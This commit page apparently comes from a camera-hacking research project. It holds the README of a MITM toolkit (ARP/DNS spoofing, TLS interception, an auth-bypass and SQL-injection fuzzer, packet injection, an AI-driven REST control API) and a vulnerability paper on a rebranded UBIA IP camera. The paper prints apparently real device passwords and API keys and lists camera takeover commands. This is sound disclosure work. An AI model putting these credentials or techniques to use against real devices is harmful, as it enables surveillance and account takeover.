Initial commit — SetecSuite Camera MITM Framework
Original tooling from the Camhak research project (camera teardown of a
rebranded UBIA / Javiscam IP camera). PyQt6 GUI on top of a curses TUI on
top of a service controller; per-service start/stop, intruder detection,
protocol fingerprinting, OAM HMAC signing, CVE verifiers, OTA bucket
probe, firmware fetcher, fuzzer, packet injection.
Tabs: Dashboard, Live Log, Intruders, Cloud API, Fuzzer, Inject, CVEs,
Config, Help. Real-time per-packet protocol detection, conntrack-based
original-destination lookup, log rotation at 1 GiB.
See SECURITY_PAPER.md for the full writeup, site/index.html for the
public report, README.md for usage. Run with:
sudo /usr/bin/python3 gui.py
Co-authored by Setec Labs.
This commit is contained in:
37
.gitignore
vendored
Normal file
37
.gitignore
vendored
Normal file
@@ -0,0 +1,37 @@
|
|||||||
|
# Python
|
||||||
|
__pycache__/
|
||||||
|
*.py[cod]
|
||||||
|
*.pyo
|
||||||
|
*.egg-info/
|
||||||
|
.venv/
|
||||||
|
venv/
|
||||||
|
|
||||||
|
# Logs and captures (can contain real account data — never commit)
|
||||||
|
mitm_logs/
|
||||||
|
*.pcap
|
||||||
|
*.log
|
||||||
|
*.bin
|
||||||
|
fuzz_results_*.json
|
||||||
|
auth_fuzz.json
|
||||||
|
endpoint_fuzz.json
|
||||||
|
|
||||||
|
# Local config (may contain credentials)
|
||||||
|
config.json
|
||||||
|
|
||||||
|
# TUTK / vendor source bundles (license-restricted)
|
||||||
|
lib/wyzecam/
|
||||||
|
lib/tutk/
|
||||||
|
iotc/*.so
|
||||||
|
iotc/build/
|
||||||
|
|
||||||
|
# OS / editor
|
||||||
|
.DS_Store
|
||||||
|
*.swp
|
||||||
|
*~
|
||||||
|
.idea/
|
||||||
|
.vscode/
|
||||||
|
|
||||||
|
# Don't ship any decompiled APK derivatives
|
||||||
|
ubox_*/
|
||||||
|
javiscam_*/
|
||||||
|
*.apk
|
||||||
178
README.md
Normal file
178
README.md
Normal file
@@ -0,0 +1,178 @@
|
|||||||
|
# SetecSuite — Camera MITM Framework
|
||||||
|
|
||||||
|
A modular IoT camera pentesting toolkit for intercepting, analyzing, and testing the security of cloud-connected IP cameras. Built for authorized security research on devices you own.
|
||||||
|
|
||||||
|
## Features
|
||||||
|
|
||||||
|
- **ARP Spoofing** — MITM positioning between camera and gateway with automatic ARP table restoration on exit
|
||||||
|
- **DNS Interception** — Spoof cloud domain resolution to redirect camera traffic through your machine
|
||||||
|
- **HTTP/HTTPS MITM** — Auto-generated SSL certificates, full request/response logging with hex dumps
|
||||||
|
- **Raw Packet Sniffer** — Catches all camera traffic on any port, detects new connections in real-time
|
||||||
|
- **UDP Capture** — Dedicated listeners for P2P master services (port 10240) and other protocols
|
||||||
|
- **Cloud API Client** — Authenticate to vendor cloud APIs, enumerate devices, extract credentials and firmware info
|
||||||
|
- **API Fuzzer** — Endpoint discovery via wordlist, parameter mutation (SQLi, IDOR, type confusion, overflow), and authentication bypass testing
|
||||||
|
- **Packet Injection** — Craft and send raw UDP, ARP, DNS, and Ethernet frames
|
||||||
|
- **REST API** — External control interface on port 9090 for AI-assisted automated testing and integration with other tools
|
||||||
|
- **TUI** — Full terminal interface with scrolling logs, status bar, command history, and color-coded output
|
||||||
|
|
||||||
|
## Requirements
|
||||||
|
|
||||||
|
- Linux (tested on Ubuntu/Debian ARM64 and x86_64)
|
||||||
|
- Python 3.10+
|
||||||
|
- Root access (required for raw sockets, ARP, iptables)
|
||||||
|
- `openssl` (for certificate generation)
|
||||||
|
|
||||||
|
No external Python packages required — uses only the standard library.
|
||||||
|
|
||||||
|
## Installation
|
||||||
|
|
||||||
|
```bash
|
||||||
|
git clone <repo_url> /path/to/setec_suite/cam-mitm
|
||||||
|
cd /path/to/setec_suite/cam-mitm
|
||||||
|
sudo python3 mitm.py
|
||||||
|
```
|
||||||
|
|
||||||
|
## Usage
|
||||||
|
|
||||||
|
### Quick Start
|
||||||
|
|
||||||
|
```bash
|
||||||
|
cd /home/snake/setec_suite/cam-mitm
|
||||||
|
sudo python3 mitm.py
|
||||||
|
```
|
||||||
|
|
||||||
|
### TUI Commands
|
||||||
|
|
||||||
|
#### MITM Services
|
||||||
|
| Command | Description |
|
||||||
|
|---------|-------------|
|
||||||
|
| `start` | Start all MITM services (ARP, DNS, HTTP/S, UDP, sniffer) |
|
||||||
|
| `stop` | Stop all services and restore ARP tables |
|
||||||
|
| `status` | Show running service status |
|
||||||
|
|
||||||
|
#### Configuration
|
||||||
|
| Command | Description |
|
||||||
|
|---------|-------------|
|
||||||
|
| `config` | Show current settings |
|
||||||
|
| `set <key> <value>` | Change a setting |
|
||||||
|
| `save` | Save config to disk |
|
||||||
|
|
||||||
|
Configurable keys: `camera_ip`, `camera_mac`, `our_ip`, `router_ip`, `iface`, `api_email`, `api_password`, `rest_port`, `fuzzer_threads`, `fuzzer_delay`
|
||||||
|
|
||||||
|
#### Cloud API
|
||||||
|
| Command | Description |
|
||||||
|
|---------|-------------|
|
||||||
|
| `login` | Authenticate to vendor cloud API |
|
||||||
|
| `devices` | List devices and extract credentials |
|
||||||
|
| `firmware` | Check firmware version |
|
||||||
|
| `services` | Query device cloud services |
|
||||||
|
| `families` | List account families/groups |
|
||||||
|
| `api <endpoint>` | Raw POST to any API endpoint |
|
||||||
|
|
||||||
|
#### Fuzzer
|
||||||
|
| Command | Description |
|
||||||
|
|---------|-------------|
|
||||||
|
| `fuzz endpoints` | Discover hidden API endpoints via wordlist |
|
||||||
|
| `fuzz params <endpoint>` | Test parameter mutations on an endpoint |
|
||||||
|
| `fuzz auth` | Test authentication bypass techniques |
|
||||||
|
| `fuzz stop` | Stop a running fuzz job |
|
||||||
|
| `fuzz results` | Save results to JSON file |
|
||||||
|
|
||||||
|
#### Packet Injection
|
||||||
|
| Command | Description |
|
||||||
|
|---------|-------------|
|
||||||
|
| `inject udp <ip> <port> <hex>` | Send a UDP packet with hex payload |
|
||||||
|
| `inject arp_reply <src_ip> <dst_ip>` | Send a spoofed ARP reply |
|
||||||
|
| `inject dns_query <domain>` | Send a DNS query |
|
||||||
|
|
||||||
|
### REST API
|
||||||
|
|
||||||
|
The built-in REST API (default port 9090) enables external tool integration and AI-assisted automated testing workflows.
|
||||||
|
|
||||||
|
#### Endpoints
|
||||||
|
|
||||||
|
| Method | Path | Description |
|
||||||
|
|--------|------|-------------|
|
||||||
|
| GET | `/status` | Service status, flags, config |
|
||||||
|
| GET | `/logs?count=N` | Recent log entries |
|
||||||
|
| GET | `/devices` | Cached device list |
|
||||||
|
| GET | `/config` | Current configuration |
|
||||||
|
| GET | `/fuzz/results` | Fuzzer results |
|
||||||
|
| POST | `/start` | Start MITM services |
|
||||||
|
| POST | `/stop` | Stop MITM services |
|
||||||
|
| POST | `/config` | Update config `{"key": "value"}` |
|
||||||
|
| POST | `/command` | Execute TUI command `{"cmd": "..."}` |
|
||||||
|
| POST | `/api` | Proxy cloud API call `{"endpoint": "...", "data": {}}` |
|
||||||
|
| POST | `/fuzz/endpoints` | Start endpoint fuzzer |
|
||||||
|
| POST | `/fuzz/params` | Start param fuzzer `{"endpoint": "..."}` |
|
||||||
|
| POST | `/fuzz/auth` | Start auth bypass fuzzer |
|
||||||
|
| POST | `/fuzz/stop` | Stop fuzzer |
|
||||||
|
| POST | `/inject` | Send packet `{"type": "udp", "dst_ip": "...", ...}` |
|
||||||
|
|
||||||
|
#### Example: AI-Automated Testing
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Start MITM
|
||||||
|
curl -X POST http://localhost:9090/start
|
||||||
|
|
||||||
|
# Run endpoint fuzzer
|
||||||
|
curl -X POST http://localhost:9090/fuzz/endpoints
|
||||||
|
|
||||||
|
# Check results
|
||||||
|
curl http://localhost:9090/fuzz/results | python3 -m json.tool
|
||||||
|
|
||||||
|
# Send custom API request
|
||||||
|
curl -X POST http://localhost:9090/api \
|
||||||
|
-H "Content-Type: application/json" \
|
||||||
|
-d '{"endpoint": "user/device_list", "data": {}}'
|
||||||
|
|
||||||
|
# Inject a packet
|
||||||
|
curl -X POST http://localhost:9090/inject \
|
||||||
|
-H "Content-Type: application/json" \
|
||||||
|
-d '{"type": "udp", "dst_ip": "10.0.0.47", "dst_port": 10240, "payload": "deadbeef", "payload_hex": true}'
|
||||||
|
```
|
||||||
|
|
||||||
|
## Project Structure
|
||||||
|
|
||||||
|
```
|
||||||
|
cam-mitm/
|
||||||
|
├── mitm.py # Entry point + TUI + controller
|
||||||
|
├── config.py # Persistent JSON configuration
|
||||||
|
├── services/
|
||||||
|
│ ├── arp_spoof.py # ARP cache poisoning
|
||||||
|
│ ├── dns_spoof.py # DNS response spoofing
|
||||||
|
│ ├── http_server.py # HTTP/HTTPS interception with SSL
|
||||||
|
│ ├── udp_listener.py # UDP protocol capture
|
||||||
|
│ └── sniffer.py # Raw packet monitor
|
||||||
|
├── api/
|
||||||
|
│ ├── ubox_client.py # Vendor cloud API client
|
||||||
|
│ ├── fuzzer.py # API security fuzzer
|
||||||
|
│ └── server.py # REST API for external integration
|
||||||
|
├── inject/
|
||||||
|
│ └── packet.py # Packet crafting and injection
|
||||||
|
└── utils/
|
||||||
|
└── log.py # Shared logging utilities
|
||||||
|
```
|
||||||
|
|
||||||
|
## TUI Navigation
|
||||||
|
|
||||||
|
| Key | Action |
|
||||||
|
|-----|--------|
|
||||||
|
| Enter | Execute command |
|
||||||
|
| Up/Down Arrow | Command history |
|
||||||
|
| Page Up/Down | Scroll log |
|
||||||
|
| Home/End | Jump to oldest/newest log |
|
||||||
|
| Escape | Clear input |
|
||||||
|
| Ctrl+C | Graceful shutdown |
|
||||||
|
|
||||||
|
## Legal
|
||||||
|
|
||||||
|
This tool is intended for authorized security testing on devices you own. Unauthorized interception of network traffic is illegal. Always obtain proper authorization before testing.
|
||||||
|
|
||||||
|
## License
|
||||||
|
|
||||||
|
MIT
|
||||||
|
|
||||||
|
## Author
|
||||||
|
|
||||||
|
sssnake — Setec Labs
|
||||||
507
SECURITY_PAPER.md
Normal file
507
SECURITY_PAPER.md
Normal file
@@ -0,0 +1,507 @@
|
|||||||
|
# Security Analysis of Cloud-Connected IoT Cameras: A Case Study on the UBIA/UBox Ecosystem
|
||||||
|
|
||||||
|
**Setec Labs Research**
|
||||||
|
**By: sssnake**
|
||||||
|
**Date: March 2026**
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Abstract
|
||||||
|
|
||||||
|
This paper presents a security analysis of a consumer-grade cloud-connected IP camera sold under multiple brand names (Javiscam, Funstorm, and others) that relies on the UBIA Technologies "UBox" platform and ThroughTek Kalay P2P SDK. Through passive network analysis, API reverse engineering, and mobile application decompilation, we identified ten distinct vulnerabilities ranging from plaintext credential exposure in API responses to disabled SSL certificate validation. The camera's cloud-first architecture — with zero inbound network services — creates a false sense of security while introducing systemic risks through its vendor cloud dependency. All testing was performed on equipment owned by the researcher using custom tooling developed for this analysis.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 1. Introduction
|
||||||
|
|
||||||
|
The global IP camera market has seen explosive growth, with millions of low-cost WiFi cameras entering homes and businesses. Many of these devices are manufactured by a small number of Chinese ODMs and sold under dozens of brand names through Amazon, AliExpress, and similar marketplaces. Despite different branding, they often share identical hardware, firmware, and cloud infrastructure.
|
||||||
|
|
||||||
|
This presents a compounding risk: a vulnerability in one "brand" affects every device built on the same platform. This paper examines one such platform — UBIA Technologies' UBox ecosystem — and documents the security posture of a camera sold as a "Javiscam" (also marketed under the "Funstorm" brand) that uses ThroughTek's Kalay P2P SDK for cloud connectivity.
|
||||||
|
|
||||||
|
### 1.1 Scope
|
||||||
|
|
||||||
|
This research was conducted on a single camera owned by the researcher:
|
||||||
|
|
||||||
|
| Property | Value |
|
||||||
|
|----------|-------|
|
||||||
|
| Vendor Marketing Name | Javiscam |
|
||||||
|
| Alternate Brand | Funstorm |
|
||||||
|
| Model Number | 2604 |
|
||||||
|
| Product ID | 1619 |
|
||||||
|
| Firmware Version | 2604.0.29.8 |
|
||||||
|
| MAC Address OUI | 14:92:F9 (TP-Link chipset) |
|
||||||
|
| Mobile Application | UBox (cn.ubia.ubox) v1.1.360 |
|
||||||
|
| Cloud Platform | UBIA Technologies (ubianet.com) |
|
||||||
|
| P2P SDK | ThroughTek Kalay IOTC/AVAPI |
|
||||||
|
| IOTC Device UID | J7HYJJFFFXRDKBYGPVRA |
|
||||||
|
|
||||||
|
### 1.2 Methodology
|
||||||
|
|
||||||
|
The analysis was performed in four phases:
|
||||||
|
|
||||||
|
1. **Passive Network Analysis** — ARP spoofing to capture all camera traffic, identifying cloud endpoints, protocols, and communication patterns
|
||||||
|
2. **Application Reverse Engineering** — Decompilation of the Android UBox APK using jadx to extract API endpoints, authentication flows, and protocol definitions
|
||||||
|
3. **API Security Testing** — Direct interaction with the UBIA cloud API, enumeration of endpoints, and analysis of data leakage
|
||||||
|
4. **Automated Fuzzing** — Custom tooling for endpoint discovery, parameter mutation, and authentication bypass testing, integrated with AI-assisted analysis via REST API
|
||||||
|
|
||||||
|
### 1.3 Tools
|
||||||
|
|
||||||
|
All primary tooling was developed specifically for this research and is released as the "SetecSuite Camera MITM Framework":
|
||||||
|
|
||||||
|
- **ARP/DNS Spoofing** — Python raw socket implementation for MITM positioning
|
||||||
|
- **Protocol Capture** — Multi-protocol listener (HTTP, HTTPS, UDP, raw packets)
|
||||||
|
- **API Client** — Authenticated UBox cloud API interaction
|
||||||
|
- **API Fuzzer** — Endpoint discovery, parameter mutation, auth bypass testing
|
||||||
|
- **Packet Injector** — Raw frame crafting for UDP, ARP, DNS
|
||||||
|
- **REST API** — External integration interface enabling AI-assisted automated analysis
|
||||||
|
|
||||||
|
Third-party tools used: nmap (initial discovery), jadx (APK decompilation), tcpdump (packet capture validation).
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 2. Architecture Analysis
|
||||||
|
|
||||||
|
### 2.1 Network Architecture
|
||||||
|
|
||||||
|
The camera employs a **cloud-first architecture with zero inbound services**. All 65,535 TCP and UDP ports were found to be filtered — the device accepts no incoming connections from the local network.
|
||||||
|
|
||||||
|
All communication is outbound, initiated by the camera:
|
||||||
|
|
||||||
|
| Protocol | Port | Destination | Purpose |
|
||||||
|
|----------|------|-------------|---------|
|
||||||
|
| UDP | 10240 | Tencent Cloud (43.x.x.x) | P2P master/relay service |
|
||||||
|
| UDP | 123 | AWS EU, Alibaba | NTP time synchronization |
|
||||||
|
| TCP | 443 | portal.ubianet.com | API/portal communication |
|
||||||
|
| TCP | 443 | *.aliyuncs.com | Alibaba OSS (firmware, photos) |
|
||||||
|
| TCP | 443 | *.amazonaws.com | AWS (accelerator) |
|
||||||
|
| TCP | 20003 | UBIA push servers | Push notification service |
|
||||||
|
| TCP | 80 | Various CDNs | Connectivity checks |
|
||||||
|
|
||||||
|
### 2.2 Connectivity Checks
|
||||||
|
|
||||||
|
The camera performs HTTP connectivity checks against:
|
||||||
|
- `www.microsoft.com`
|
||||||
|
- `www.amazon.com`
|
||||||
|
- `www.apple.com`
|
||||||
|
- `www.qq.com`
|
||||||
|
|
||||||
|
The inclusion of `www.qq.com` (Tencent/QQ) confirms the firmware's Chinese origin. These checks use plaintext HTTP (port 80), not HTTPS.
|
||||||
|
|
||||||
|
### 2.3 P2P Communication
|
||||||
|
|
||||||
|
The camera uses ThroughTek's Kalay P2P platform for all video streaming and device control. The app and camera both connect to P2P master servers (`m7.ubianet.com`, `m8.ubianet.com`) which broker a direct P2P tunnel or provide relay services through Tencent Cloud infrastructure.
|
||||||
|
|
||||||
|
The P2P protocol uses UDP port 10240 with 72-byte outbound packets and 180-byte inbound packets. The IOTC UID format (`J7HYJJFFFXRDKBYGPVRA`) serves as the device's unique identifier on the P2P network.
|
||||||
|
|
||||||
|
### 2.4 Cloud Infrastructure
|
||||||
|
|
||||||
|
The following infrastructure was identified through DNS analysis and APK decompilation:
|
||||||
|
|
||||||
|
**API Servers:**
|
||||||
|
- `portal.ubianet.com` — Primary API (global)
|
||||||
|
- `api.us.ubianet.com` — US region
|
||||||
|
- `api.cn.ubianet.com` — China region
|
||||||
|
- `pay.ubianet.com` — Payment processing
|
||||||
|
- `wx.ubianet.com` — WeChat integration
|
||||||
|
|
||||||
|
**Object Storage:**
|
||||||
|
- `ubiaota.oss-cn-shenzhen.aliyuncs.com` — Firmware OTA (Alibaba OSS, Shenzhen)
|
||||||
|
- `uboxphoto-us.oss-us-west-1.aliyuncs.com` — User photos (Alibaba OSS, US West)
|
||||||
|
- `ubiaota-us-1312441409.cos.na-siliconvalley.myqcloud.com` — Tencent COS backup
|
||||||
|
- `ubiaota-cn-1312441409.cos.ap-guangzhou.myqcloud.com` — Tencent COS China
|
||||||
|
|
||||||
|
**P2P Master Servers:**
|
||||||
|
- `m7.ubianet.com`
|
||||||
|
- `m8.ubianet.com`
|
||||||
|
|
||||||
|
**SIM Management:**
|
||||||
|
- `118.178.150.203:9001`
|
||||||
|
- `api.iot400.com`
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 3. Vulnerability Findings
|
||||||
|
|
||||||
|
### V1: Plaintext Device Credentials in API Response
|
||||||
|
|
||||||
|
**Severity: CRITICAL**
|
||||||
|
**CVSS 3.1: 9.1 (Critical)**
|
||||||
|
|
||||||
|
**Endpoint:** `POST https://portal.ubianet.com/api/user/device_list`
|
||||||
|
|
||||||
|
The device list API response includes the camera's authentication credentials in plaintext:
|
||||||
|
|
||||||
|
```json
|
||||||
|
{
|
||||||
|
"cam_user": "admin",
|
||||||
|
"cam_pwd": "yyc1G::HPEv7om3O",
|
||||||
|
"device_uid": "J7HYJJFFFXRDKBYGPVRA"
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
These credentials are used for IOTC P2P authentication. Any attacker who can intercept or access this API response — through a compromised account, session hijacking, or MITM — obtains full device control credentials.
|
||||||
|
|
||||||
|
**Impact:** Complete device takeover including live video/audio access, file download, configuration changes, and firmware manipulation.
|
||||||
|
|
||||||
|
**Recommendation:** Never include device credentials in API responses. Use session-based tokens with limited scope and expiration.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### V2: API Key Leakage in Login Response
|
||||||
|
|
||||||
|
**Severity: HIGH**
|
||||||
|
**CVSS 3.1: 7.5 (High)**
|
||||||
|
|
||||||
|
**Endpoint:** `POST https://portal.ubianet.com/api/v3/login`
|
||||||
|
|
||||||
|
The login response includes internal cloud service credentials:
|
||||||
|
|
||||||
|
```json
|
||||||
|
{
|
||||||
|
"app_config": {
|
||||||
|
"android_private_config": {
|
||||||
|
"ucon": {
|
||||||
|
"GoogleAPIKey": "AIzaSyD_oOWY67gLDTUdezW9UTlTfwTidR9itXA",
|
||||||
|
"AMapAPIKey": "5c32ed9e0ebea43b41496713e259a895"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
Additionally, the user's avatar URL contains a pre-signed Alibaba OSS URL with embedded access credentials:
|
||||||
|
|
||||||
|
```
|
||||||
|
uboxphoto-us.oss-us-west-1.aliyuncs.com/...?x-oss-credential=LTAI5tGDU3y7P6YtDzmb1dDL...
|
||||||
|
```
|
||||||
|
|
||||||
|
**Impact:** Exposed API keys enable unauthorized use of mapping and cloud services. The OSS access key ID (`LTAI5tGDU3y7P6YtDzmb1dDL`) could be used to enumerate or access cloud storage if combined with other vulnerabilities.
|
||||||
|
|
||||||
|
**Recommendation:** Serve API keys only to authenticated clients via secure channels. Use short-lived pre-signed URLs without exposing access key IDs.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### V3: Weak Password Hashing (HMAC-SHA1 with Empty Key)
|
||||||
|
|
||||||
|
**Severity: MEDIUM**
|
||||||
|
**CVSS 3.1: 6.5 (Medium)**
|
||||||
|
|
||||||
|
**Source:** `LoginViewModel.java:276`
|
||||||
|
|
||||||
|
```java
|
||||||
|
loginJsonBean.setPassword(
|
||||||
|
new HttpClient().get_replace_str(
|
||||||
|
new String(Base64.encode(hmac_sha1.getHmacSHA1(str2, "")))
|
||||||
|
)
|
||||||
|
);
|
||||||
|
```
|
||||||
|
|
||||||
|
User passwords are hashed using HMAC-SHA1 with an **empty string as the key**, then Base64 encoded with character substitutions (`+` -> `-`, `/` -> `_`, `=` -> `,`). HMAC-SHA1 with an empty key is functionally equivalent to unsalted SHA1 hashing.
|
||||||
|
|
||||||
|
**Impact:** User passwords can be reversed via rainbow tables or brute force. No per-user salt means identical passwords produce identical hashes across all accounts.
|
||||||
|
|
||||||
|
**Recommendation:** Use bcrypt, scrypt, or Argon2 with per-user salts and appropriate work factors.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### V4: SSL Certificate Validation Disabled
|
||||||
|
|
||||||
|
**Severity: HIGH**
|
||||||
|
**CVSS 3.1: 7.4 (High)**
|
||||||
|
|
||||||
|
**Source:** `NewApiHttpClient.java:1053`
|
||||||
|
|
||||||
|
```java
|
||||||
|
MySSLSocketFactory mySSLSocketFactory = new MySSLSocketFactory(keyStore);
|
||||||
|
mySSLSocketFactory.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
|
||||||
|
```
|
||||||
|
|
||||||
|
The mobile application accepts **any SSL certificate** without validation. This enables trivial MITM attacks against all API communications, including the login flow (exposing credentials) and device list (exposing device access tokens).
|
||||||
|
|
||||||
|
**Impact:** An attacker on the same network can intercept all cloud API traffic, steal authentication tokens, and obtain device credentials (V1) by presenting a self-signed certificate.
|
||||||
|
|
||||||
|
**Recommendation:** Implement proper certificate validation. Consider certificate pinning for critical API endpoints.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### V5: ThroughTek Kalay P2P SDK (Known Vulnerabilities)
|
||||||
|
|
||||||
|
**Severity: CRITICAL**
|
||||||
|
**CVSS 3.1: 9.6 (Critical)**
|
||||||
|
|
||||||
|
The camera uses ThroughTek's Kalay IOTC/AVAPI SDK for P2P communication. This SDK has multiple disclosed critical vulnerabilities:
|
||||||
|
|
||||||
|
| CVE | Description | CVSS |
|
||||||
|
|-----|-------------|------|
|
||||||
|
| CVE-2021-28372 | Improper access control, remote camera/audio access | 9.6 |
|
||||||
|
| CVE-2023-6321 | OS command injection (root access) | 9.8 |
|
||||||
|
| CVE-2023-6322 | Stack-based buffer overflow | 7.2 |
|
||||||
|
| CVE-2023-6323 | Insufficient verification (AuthKey leak) | 4.3 |
|
||||||
|
| CVE-2023-6324 | Insufficient entropy in DTLS setup | 5.9 |
|
||||||
|
|
||||||
|
CVE-2023-6323 and CVE-2023-6324 can be chained with CVE-2023-6321 to achieve remote root access from the local network (Bitdefender Labs, 2024).
|
||||||
|
|
||||||
|
The SDK version in use was not definitively determined during this analysis. ThroughTek patched affected SDK versions by April 2024, but the firmware version analyzed (2604.0.29.8) shows no evidence of recent SDK updates.
|
||||||
|
|
||||||
|
**Impact:** Depending on SDK version, an attacker could remotely access camera feeds, audio, and execute arbitrary commands as root.
|
||||||
|
|
||||||
|
**Recommendation:** Update to the latest patched ThroughTek SDK. Implement SDK version checking in firmware update flows.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### V6: Firmware Updates via HTTP
|
||||||
|
|
||||||
|
**Severity: HIGH**
|
||||||
|
**CVSS 3.1: 8.1 (High)**
|
||||||
|
|
||||||
|
Network captures show the camera initiating HTTP (not HTTPS) connections to CDN endpoints (Akamai, Tencent Cloud) on port 80. The firmware update mechanism sends the download URL to the camera via IOTC command 4631:
|
||||||
|
|
||||||
|
```java
|
||||||
|
// AdvancedSettings.java
|
||||||
|
UpdateReq.setFile_url(resultBase.getData().getResult().getHost().getFilename().getBytes());
|
||||||
|
```
|
||||||
|
|
||||||
|
If the firmware URL uses HTTP, the download is unencrypted and subject to MITM replacement.
|
||||||
|
|
||||||
|
**Impact:** An attacker in a MITM position can intercept firmware download requests and serve malicious firmware, achieving persistent device compromise.
|
||||||
|
|
||||||
|
**Recommendation:** Use HTTPS exclusively for firmware downloads. Implement cryptographic signature verification of firmware images before flashing.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### V7: IOTC Command Set Enables Full Device Control
|
||||||
|
|
||||||
|
**Severity: HIGH**
|
||||||
|
**CVSS 3.1: 8.0 (High)**
|
||||||
|
|
||||||
|
Decompilation of the UBox APK revealed the complete IOTC command set (defined in `AVIOCTRLDEFs.java`). With valid credentials (obtainable via V1), an attacker can:
|
||||||
|
|
||||||
|
| Command ID | Function |
|
||||||
|
|------------|----------|
|
||||||
|
| 768/769 | Start/stop live audio |
|
||||||
|
| 816/817 | Get device info |
|
||||||
|
| 896/897 | Format SD card |
|
||||||
|
| 4631/4632 | Push firmware update |
|
||||||
|
| 4864/4865 | List files |
|
||||||
|
| 4866/4867 | Download files |
|
||||||
|
| 4868/4869 | Upload files |
|
||||||
|
| 4874/4875 | Delete files |
|
||||||
|
| 8482/8483 | Capture picture remotely |
|
||||||
|
| 241/242 | Set device UID |
|
||||||
|
|
||||||
|
Command 241 (`IOTYPE_UBIA_SET_UID_REQ`) is particularly dangerous — it allows changing the device's P2P identifier, potentially hijacking it from the legitimate owner.
|
||||||
|
|
||||||
|
**Impact:** Full device takeover, data exfiltration, evidence destruction (SD card format), and device identity theft.
|
||||||
|
|
||||||
|
**Recommendation:** Implement command-level access control. Critical commands (firmware update, UID change, format) should require additional authentication or user confirmation via a separate channel.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### V8: Cloud Infrastructure Enumeration
|
||||||
|
|
||||||
|
**Severity: INFORMATIONAL**
|
||||||
|
**CVSS 3.1: N/A**
|
||||||
|
|
||||||
|
The complete cloud infrastructure is discoverable through APK decompilation and DNS analysis. The firmware OTA bucket (`ubiaota.oss-cn-shenzhen.aliyuncs.com`) was confirmed to exist and contain firmware files, though access is restricted to signed URLs.
|
||||||
|
|
||||||
|
This level of infrastructure visibility, combined with the leaked OSS access key ID (V2), could facilitate further attacks against the cloud backend.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### V9: No Local Network Services
|
||||||
|
|
||||||
|
**Severity: INFORMATIONAL (Architectural Observation)**
|
||||||
|
|
||||||
|
The camera exposes zero inbound ports. While this prevents traditional network-based attacks (port scanning, brute force), it creates complete dependency on the vendor's cloud infrastructure. If the cloud service is compromised, discontinued, or suffers an outage, the device becomes non-functional and there is no local fallback.
|
||||||
|
|
||||||
|
This also means the device owner has no local control mechanism — all interaction must route through vendor servers in China, raising privacy concerns for users outside that jurisdiction.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### V10: Multi-Brand Obfuscation
|
||||||
|
|
||||||
|
**Severity: INFORMATIONAL**
|
||||||
|
|
||||||
|
The same hardware/firmware/cloud platform is sold under multiple brand names:
|
||||||
|
|
||||||
|
- Javiscam
|
||||||
|
- Funstorm
|
||||||
|
- (likely others sharing UBIA/UBox platform with product IDs in the 1600+ range)
|
||||||
|
|
||||||
|
The TP-Link MAC OUI (14:92:F9) further obscures the actual manufacturer. Users cannot easily determine that their "Javiscam" and a neighbor's "Funstorm" share identical firmware, cloud infrastructure, and vulnerability surface.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### V11: Improper Use of HTTP Status Codes for Authentication
|
||||||
|
|
||||||
|
**Severity: MEDIUM**
|
||||||
|
**CVSS 3.1: 5.3 (Medium)**
|
||||||
|
|
||||||
|
**All Endpoints**
|
||||||
|
|
||||||
|
The API returns HTTP 200 for all requests regardless of authentication status. Authentication failures are communicated only through the JSON response body (`{"code": 10004, "msg": "token不能为空"}`). The API never returns HTTP 401 or 403.
|
||||||
|
|
||||||
|
This was discovered during automated fuzzing: every endpoint returned HTTP 200 with any token, no token, invalid tokens, and SQL injection payloads in the token field. Manual verification confirmed that the application-level `code` field correctly rejects unauthenticated requests (code 10004), but the HTTP transport layer provides no indication of failure.
|
||||||
|
|
||||||
|
**Impact:**
|
||||||
|
- Standard security tooling (WAFs, API gateways, SIEM, monitoring dashboards) that relies on HTTP status codes will not detect or alert on authentication failures
|
||||||
|
- Rate limiting rules based on 401/403 response codes will never trigger
|
||||||
|
- API monitoring cannot distinguish between successful and failed auth attempts from HTTP logs alone
|
||||||
|
- Automated scanners and vulnerability tools may report false positives (as observed during this assessment)
|
||||||
|
|
||||||
|
**Recommendation:** Return HTTP 401 for authentication failures and HTTP 403 for authorization failures, in addition to the application-level error codes. This provides defense-in-depth and enables standard security infrastructure to function correctly.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### V12: Unauthenticated Firmware Version Check
|
||||||
|
|
||||||
|
**Severity: MEDIUM**
|
||||||
|
**CVSS 3.1: 5.3 (Medium)**
|
||||||
|
|
||||||
|
**Endpoint:** `POST https://portal.ubianet.com/api/user/check_version`
|
||||||
|
|
||||||
|
Automated fuzzing with application-level response code verification confirmed that `user/check_version` returns `{"code": 0, "msg": "success"}` without any authentication token. This was the only user-scoped endpoint (out of 27 discovered) that returned a successful application-level response without credentials.
|
||||||
|
|
||||||
|
While the endpoint returned empty data in our tests (the correct internal parameters were not determined), the lack of authentication means an attacker could potentially:
|
||||||
|
- Enumerate device firmware versions if the correct parameter format is discovered
|
||||||
|
- Obtain firmware download URLs for specific device models
|
||||||
|
- Determine which devices are running outdated/vulnerable firmware
|
||||||
|
|
||||||
|
Additionally, several PTZ snapshot endpoints (`user/del_ptz_snap`, `user/confirm_ptz_snap`, `user/put_ptz_snap`) returned `code: 0` with authenticated requests using empty parameters — suggesting these operations may execute without requiring valid target parameters.
|
||||||
|
|
||||||
|
**Recommendation:** Enforce authentication on all endpoints consistently. Validate that required parameters are present before processing requests.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
